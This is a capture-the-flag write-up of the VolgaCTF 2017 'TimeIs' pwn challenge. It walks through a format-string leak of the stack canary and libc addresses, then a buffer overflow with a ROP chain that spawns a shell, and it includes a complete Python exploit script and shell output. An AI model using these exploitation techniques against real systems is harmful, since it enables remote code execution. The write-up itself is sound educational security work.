TimeIs | VolgaCTF 2017

pwn format_string stack_overflow ROP
|

In this writeup I will share how I exploited my first ever pwn challenge on a CTF, which was a very small part of why we managed to qualify for the VolgaCTF finals in Samara, Russia! The exploit uses a format string vulnerability to leak the libc and the canary, and then we will use a stack buffer overflow to ROP and get code execution.

Overview

RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE
FORTIFY:  Enabled

The program is pretty simple. It does the following:

  1. Asks you "Enter time zones separated by whitespace or q to quit".
  2. If you enter "q" it says "See you!" and quits.
  3. Whatever else you enter the program will echo what you entered appended with the time and loops back to 1.

Example: if you input "asd" it outputs "asd: 21:30".

Solution

Finding the vulnerabilities

Firstly lets try to insert %08x as the input to see if the program is vulnerable to a format string vulnerability. It is!!

OK, so we can simply overwrite a GOT entry and redirect code execution. Right? Not so fast… The binary is compiled with FORTIFY SOURCE. That means that we can’t use %n to write and we can’t use positional arguments %<number>$x. If we try, the program terminates and outputs *** invalid %N$ use detected ***. In the past there have been bypasses to FORTIFY SOURCE as explain in this article http://phrack.org/issues/67/9.html, but it is hard if even possible! Lets look for a simpler solution and come back to this only if we don’t find anything else.

The next logical thing to try is to input a very large amount of characters and see what happens. By running python -c "print 'A'*2300 + '\nq\n'" | ./time_is we get *** stack smashing detected ***: ./time_is terminated. We just found a stack buffer overflow! But.. the canary will detect us writing over the saved rip to redirect code execution. How can we avoid this?

The plan:

  1. Use the format string vulnerability to leak the canary
  2. Use the format string vulnerability to leak several libc addresses
  3. Use the leaked addresses to determine what is the libc version in use by the server, using a libc database (since the libc version is not given)
  4. Use the overflow to control the saved rip, using the canary leak to prevent triggering detection
  5. ROP it up, taking advantage of knowing where libc is loaded to call system and spawn a shell!

1. Leaking the canary

To get the canary we simply leak the whole stack, extracting it from the offset stack[267] (determined by looking for it in gdb).

NOTE: We can’t just do %267$p because of the FORTIFY SOURCE.

2. Leaking libc addresses

To get the libc addresses we could just look for addresses in the stack belonging to libc and then calculate libc_base from that. However, since we don’t know which libc version we are working with, lets leak addresses in the GOT so that, knowing ASLR works on page size (last 12 bits of the libc_base are always 0’s (2^12=4Kb)), we can determine the libc version the server uses. The GOT addresses are static (program compiled without PIE) so we can just get them with "objdump -TR time_is". Now we place the addresses in our input string and by trial and error we get the offsets right (testing with %p to prevent crashing) and leak them using %s.

3. Determining the libc in use

To determine which libc the server was using I used this repository https://github.com/niklasb/libc-database. Running ./find setvbuf e70 free 940 gmtime d60 it finds ubuntu-xenial-amd64-libc6. We can then run ./dump libc6_2.23-0ubuntu7_amd64 to get offsets of interesting functions. Other offsets can be found in the symbols file.

4. Controlling rip

Now we have everything we need!

We now send padding+canary+extra-padding+ROP. The canary to prevent detection, the extra padding because there are other saved registers before the saved rip. Just as proof of concept in the ROP I simply put the address of the main function, making it loop after a quit. It worked! Time to weaponize it!

5. Weaponizing the ROP

Ok, now we just need to make it call system("/bin/sh").

We know the address of system and the address of a /bin/sh string (both from libc). We need to put /bin/sh address in rdi and then call system. To accomplish this we can use ROPGadget to find a gadget such as pop rdi; ret.

Our simple ROP will look like this:

ROP  = "".join([
    p64(pop_rdi_ret),    # pop rdi ; ret
    p64(bin_sh_str_adr), # "/bin/sh" in rdi
    p64(system_addr),    # ret to system
])

6. Profit

 jofra@localhost::R_CTF2017/VolgaCTF/pwn/TimeIs:
 >>> $ ./go_timeis.py
(...)
(... Uninteresting stuff due to the challenge we have to pass before accessing the binary ...)
(...)

**************************
*** LEAKING THE CANARY ***
**************************
------------------------------------
|     CANARY IS: 0xf438db7f57255b00|
| stack_addr IS: 0x7fffcf79ad50    | (unused)
|buffer_addr IS: 0x7fffcf79a430    | (unused)
------------------------------------

*************************
*** LEAKING LIBC BASE ***
*************************
-------------------------------------
|    setvbuf_libc is: 0x7f40bdc53e70|
|       time_libc is: 0x7fffcf7e0ea0| (wrong but irrelevant)
|     gmtime_libc is: 0x7f40bdc9ed60|
|       free_libc is: 0x7f40bdc67940|
|       LIBC BASE is: 0x7f40bdbe4000|
|     SYSTEM ADDR is: 0x7f40bdc29390|
| BIN_SH_STR ADDR is: 0x7f40bdd70177|
-------------------------------------

***********************
*** CONTROLLING RIP ***
***********************
$ ls
flag.txt
time_is
$ cat flag.txt
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}
$

Exploit

NOTE: We have to pass an initial challenge in order to run the actual binary. This is just the way the organizers limited the amount of times you can run the program on the server. Because of this the exploit might take seconds to minutes to actually start running, since the challenge is often not solvable. The challenge is not important for the exploit, but here it is: Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='<something>'. Only needed remotely!

#!/usr/bin/python
from struct import pack, unpack
import hashlib
import socket
from telnetlib import Telnet

TESTING_LOCAL = False
if TESTING_LOCAL == True:
    HOST = "localhost"
    PORT = 45678
else:
    HOST = "time-is.quals.2017.volgactf.ru"
    PORT = 45678

def p64(val):
    return pack("Q", val)

def RED(msg):
    RED_COLOR = "\033[31m"
    NO_COLOR  = "\033[0m"
    return RED_COLOR + msg + NO_COLOR

def send(s, msg, end = "\n", should_print = False):
    msg += end
    if should_print:
        print "Sending: '{}'".format(msg.replace("\n", "\\n"))
    s.sendall(msg)

def recv_until(s, until_str):
    res = ""
    while until_str not in res:
        res += s.recv(1)
    return res

def interact(s):
    t = Telnet()
    t.sock = s
    t.interact()

def sha1(txt):
    if len(txt) != 29:
        print "ERROR: txt should be 29 characters long"
    return hashlib.sha1(txt).hexdigest()

def possibilities():
    """ x is always an hex string """
    r = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
    for i1 in r:
        for i2 in r:
            for i3 in r:
                for i4 in r:
                    for i5 in r:
                        yield i1+i2+i3+i4+i5

def check_hash(h):
    """ Last 26 bits of the hash have to be set"""
    if(h[-6:] == "ffffff"):
        if int(h[-7:-6], 16) & 0x3 == 0x3:
            return True
        else:
            print h, "was close."

    return False


def go():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ADDRESS = (HOST, PORT)
    s.connect(ADDRESS)

    # Solve the initial challenge (only if remote)
    if not TESTING_LOCAL:
        recv_until(s, "Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='")
        x_first_24 = recv_until(s, "'")[:-1]
        print "Trying for x = %s_____" % x_first_24
        res = ""
        for x_last_5 in possibilities():
            x = x_first_24 + x_last_5
            if check_hash(sha1(x)):
                print "x =", x, "; sha1(x) =", sha1(x)
                res = x
                break

        # There was not solution, we need to restart
        if res == "":
            print RED("... [FAILED]")
            s.close()
            return -1
        else:
            send(s, x)

    # 1. First lets leak the whole stack
    print "**************************"
    print "*** LEAKING THE CANARY ***"
    print "**************************"
    recv_until(s, "Enter time zones separated by whitespace or q to quit\n")
    amount = 365
    send(s, "AAAAAAA" + "%p|"*(amount) + "---END")
    stack = recv_until(s, "---END").split("|")[:-1]
    # cnt = 0
    # for i in stack:
    #     print "%d: %s" % (cnt, i)
    #     cnt += 1

    canary      = stack[267]
    stack_addr  = stack[272]
    buffer_addr = int(stack[272], 16) - 2336
    print "------------------------------------"
    print "|     CANARY IS: %s|" % canary
    print "| stack_addr IS: %s    | (unused)" % stack_addr
    print "|buffer_addr IS: %s    | (unused)" % hex(buffer_addr)
    print "------------------------------------"


    # 2. Leak libc addresses
    print "\n*************************"
    print "*** LEAKING LIBC BASE ***"
    print "*************************"
    # "objdump -TR time_is" to get this plt addresses
    free_plt    = 0x603018 # free@GLIBC_2.2.5
    time_plt    = 0x603040 # time@GLIBC_2.2.5
    setvbuf_plt = 0x603050 # setvbuf@GLIBC_2.2.5
    gmtime_plt  = 0x603058 # gmtime@GLIBC_2.2.5

    amount = 40
    recv_until(s, "Enter time zones separated by whitespace or q to quit\n")
    send(s, "DDDDDDDD" + "%p|"*(amount) + "|%32$s|X" + "|%33$s|X" + "|%34$s|X" + "|%35$s|X" + "AAAABBBB" + p64(setvbuf_plt) + p64(time_plt) + p64(gmtime_plt) + p64(free_plt) + "---END")
    stack = recv_until(s, "AAAABBBB").split("|")[:-1]
    # cnt = 0
    # for i in stack:
    #     print "%d: %s" % (cnt, i)
    #     cnt += 1

    setvbuf_libc = unpack("Q", stack[41].ljust(8, "\x00"))[0]
    time_libc    = unpack("Q", stack[43].ljust(8, "\x00"))[0]
    gmtime_libc  = unpack("Q", stack[45].ljust(8, "\x00"))[0]
    free_libc    = unpack("Q", stack[47].ljust(8, "\x00"))[0]

    # We have now 4 different libc addresses (eventhough time's address is always wrong for some reason. We'll use the other 3.)
    # Lets determine which libc is the server using this "https://github.com/niklasb/libc-database".
    # It downloads the most common libcs and than given pairs of (function , offset) it returns the possible ones.
    # We, as team, could have a libc database so more rare libcs would be found for harder problems.
    #         Run: "./find setvbuf e70 free 940 gmtime d60"
    #      Result: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu7_amd64)
    # We then run: "./dump libc6_2.23-0ubuntu7_amd64" and get offsets of interesting funtions. Other offsets can be found in the symbols file.

    offset_setvbuf    = 0x6fe70
    offset_system     = 0x45390
    offset_dup2       = 0xf6d90
    offset_str_bin_sh = 0x18c177

    LIBC_BASE = setvbuf_libc - offset_setvbuf

    bin_sh_str_adr = LIBC_BASE + offset_str_bin_sh
    system_addr    = LIBC_BASE + offset_system
    dup2_addr      = LIBC_BASE + offset_dup2

    print "-------------------------------------"
    print "|    setvbuf_libc is: %s|" % hex(setvbuf_libc)
    print "|       time_libc is: %s| (wrong but irrelevant)" % hex(time_libc)
    print "|     gmtime_libc is: %s|" % hex(gmtime_libc)
    print "|       free_libc is: %s|" % hex(free_libc)
    print "|       LIBC BASE is: %s|" % hex(LIBC_BASE)
    print "|     SYSTEM ADDR is: %s|" % hex(system_addr)
    print "| BIN_SH STR ADDR is: %s|" % hex(bin_sh_str_adr)
    print "-------------------------------------"

    # Lets now overwrite the RIP with our ROP and redirect code execution!
    print "\n***********************"
    print "*** CONTROLLING RIP ***"
    print "***********************"
    recv_until(s, "Enter time zones separated by whitespace or q to quit\n")
    pad1 = 'A'*(2048+8)
    pad2 = "CCCCCCCC"*7  # Write over other saved registers

    pop_rdi_ret = 0x400b34 # pop rdi ; ret
    pop_rsi_ret = 0x4009ff # pop rsi ; pop r15 ; ret

    dummy = 0x4141414141414141
    ROP  = "".join([
        # ### dup(4, 0)
        # p64(pop_rsi_ret),   # pop rsi ; pop r15 ; ret
        # p64(0x0),           # value for rsi
        # p64(dummy),         # value for r15
        # p64(pop_rdi_ret),   # pop rdi ; ret
        # p64(0x4),           # value for rdi
        # p64(dup2_addr),     # call dup(4, 0)

        ### dup(4, 1)
        # p64(pop_rsi_ret),   # pop rsi ; pop r15 ; ret
        # p64(0x1),           # value for rsi
        # p64(dummy),         # value for r15
        # p64(pop_rdi_ret),   # pop rdi ; ret
        # p64(0x4),           # value for rdi
        # p64(dup2_addr),     # call dup(4, 1)

        ### dup(4, 2)
        # p64(pop_rsi_ret),   # pop rsi ; pop r15 ; ret
        # p64(0x2),           # value for rsi
        # p64(dummy),         # value for r15
        # p64(pop_rdi_ret),   # pop rdi ; ret
        # p64(0x4),           # value for rdi
        # p64(dup2_addr),     # call dup(4, 2)

        p64(pop_rdi_ret),    # pop rdi ; ret
        p64(bin_sh_str_adr), # "/bin/sh" in rdi
        p64(system_addr),    # ret to system
    ])

    # Sometimes addresses might contain a '\n' so we need to restart
    if "\n" in ROP:
        print "ABORT!! ROP contains a //n"
        print ROP
        print "ABORT!! ROP contains a //n"
        return 0

    # Send the payload
    payload = pad1 + p64(int(canary, 16)) + pad2 + ROP
    send(s, payload)

    recv_until(s, "Enter time zones separated by whitespace or q to quit\n")
    send(s, "q")
    recv_until(s, "See you!\n")
    send(s, "echo HELLO", should_print = True)
    print recv_until(s, "HELLO\n"),
    print "$$$ SHELL $$$"
    send(s, "cat flag.txt", should_print = True)
    print "$$$ SHELL $$$"

    interact(s)
    return 0

# MAIN
print "*******************************************************************************************************"
print "*** SOLVING find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]==<something> ***"
print "*******************************************************************************************************"
while go() == -1:
    pass